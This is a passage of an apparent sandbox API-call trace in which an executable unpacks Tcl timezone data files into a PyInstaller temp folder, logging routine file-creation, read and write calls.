lpSystemTime=0x4f8ce0) returned 1 [0039.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.647] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.647] CloseHandle (hObject=0x10c) returned 1 [0039.647] GetLastError () returned 0x0 [0039.647] SetLastError (dwErrCode=0x0) [0039.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.647] GetFileType (hFile=0x10c) returned 0x1 [0039.647] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.647] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.647] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.647] CloseHandle (hObject=0x10c) returned 1 [0039.647] GetLastError () returned 0x0 [0039.647] SetLastError (dwErrCode=0x0) [0039.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa") returned 76 [0039.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tegucigalpa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.648] GetLastError () returned 0x2 [0039.648] SetLastError (dwErrCode=0x2) [0039.648] GetLastError () returned 0x2 [0039.648] SetLastError (dwErrCode=0x2) [0039.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa", lpFilePart=0x0) returned 0x4b [0039.648] GetLastError () returned 0x2 [0039.648] SetLastError (dwErrCode=0x2) [0039.648] GetLastError () returned 0x2 [0039.648] SetLastError (dwErrCode=0x2) [0039.648] GetLastError () returned 0x2 [0039.648] SetLastError (dwErrCode=0x2) [0039.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa") returned 76 [0039.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tegucigalpa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tegucigalpa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.648] GetFileType (hFile=0x10c) returned 0x1 [0039.648] htonl (hostlong=0x49010000) returned 0x149 [0039.648] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.648] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x149, lpOverlapped=0x0) returned 1 [0039.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.649] CloseHandle (hObject=0x10c) returned 1 [0039.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.650] htonl (hostlong=0x40000000) returned 0x40 [0039.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.650] GetFileType (hFile=0x10c) returned 0x1 [0039.650] htonl (hostlong=0xdd545a00) returned 0x5a54dd [0039.650] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f04dd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.650] htonl (hostlong=0x27050000) returned 0x527 [0039.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x527) returned 0x550600 [0039.651] htonl (hostlong=0x27050000) returned 0x527 [0039.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.651] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.651] htonl (hostlong=0xa1a0000) returned 0x1a0a [0039.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a0a) returned 0x561090 [0039.651] htonl (hostlong=0x27050000) returned 0x527 [0039.651] htonl (hostlong=0xa1a0000) returned 0x1a0a [0039.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562aa8 [0039.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562aa8 | out: hHeap=0x530000) returned 1 [0039.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.651] CloseHandle (hObject=0x10c) returned 1 [0039.651] GetLastError () returned 0x0 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] GetLastError () returned 0x0 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.651] GetFileType (hFile=0x10c) returned 0x1 [0039.651] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.652] CloseHandle (hObject=0x10c) returned 1 [0039.652] GetLastError () returned 0x0 [0039.652] SetLastError (dwErrCode=0x0) [0039.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.652] GetFileType (hFile=0x10c) returned 0x1 [0039.652] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.652] CloseHandle (hObject=0x10c) returned 1 [0039.652] GetLastError () returned 0x0 [0039.652] SetLastError (dwErrCode=0x0) [0039.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.653] GetFileType (hFile=0x10c) returned 0x1 [0039.653] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.653] CloseHandle (hObject=0x10c) returned 1 [0039.656] GetLastError () returned 0x0 [0039.656] SetLastError (dwErrCode=0x0) [0039.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule") returned 70 [0039.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\thule"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.657] GetLastError () returned 0x2 [0039.657] SetLastError (dwErrCode=0x2) [0039.657] GetLastError () returned 0x2 [0039.657] SetLastError (dwErrCode=0x2) [0039.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule", lpFilePart=0x0) returned 0x45 [0039.657] GetLastError () returned 0x2 [0039.657] SetLastError (dwErrCode=0x2) [0039.657] GetLastError () returned 0x2 [0039.657] SetLastError (dwErrCode=0x2) [0039.657] GetLastError () returned 0x2 [0039.657] SetLastError (dwErrCode=0x2) [0039.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule") returned 70 [0039.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thule" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\thule"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.657] GetFileType (hFile=0x10c) returned 0x1 [0039.657] htonl (hostlong=0xa1a0000) returned 0x1a0a [0039.657] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.658] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa0a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa0a, lpOverlapped=0x0) returned 1 [0039.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.659] CloseHandle (hObject=0x10c) returned 1 [0039.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.660] htonl (hostlong=0x30000000) returned 0x30 [0039.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.660] GetFileType (hFile=0x10c) returned 0x1 [0039.660] htonl (hostlong=0x45a5a00) returned 0x5a5a04 [0039.661] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f0a04, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.661] htonl (hostlong=0x3b060000) returned 0x63b [0039.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x63b) returned 0x550600 [0039.661] htonl (hostlong=0x3b060000) returned 0x63b [0039.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.661] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.661] htonl (hostlong=0x7a1f0000) returned 0x1f7a [0039.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f7a) returned 0x561090 [0039.662] htonl (hostlong=0x3b060000) returned 0x63b [0039.662] htonl (hostlong=0x7a1f0000) returned 0x1f7a [0039.662] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563018 [0039.662] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563018 | out: hHeap=0x530000) returned 1 [0039.662] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.662] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.662] CloseHandle (hObject=0x10c) returned 1 [0039.662] GetLastError () returned 0x0 [0039.662] SetLastError (dwErrCode=0x0) [0039.662] GetLastError () returned 0x0 [0039.662] SetLastError (dwErrCode=0x0) [0039.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.662] GetFileType (hFile=0x10c) returned 0x1 [0039.662] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.663] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.663] CloseHandle (hObject=0x10c) returned 1 [0039.663] GetLastError () returned 0x0 [0039.663] SetLastError (dwErrCode=0x0) [0039.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.663] GetFileType (hFile=0x10c) returned 0x1 [0039.663] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.663] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.663] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.663] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.663] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.663] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.663] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.663] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.663] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.663] CloseHandle (hObject=0x10c) returned 1 [0039.663] GetLastError () returned 0x0 [0039.663] SetLastError (dwErrCode=0x0) [0039.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.663] CreateFileW 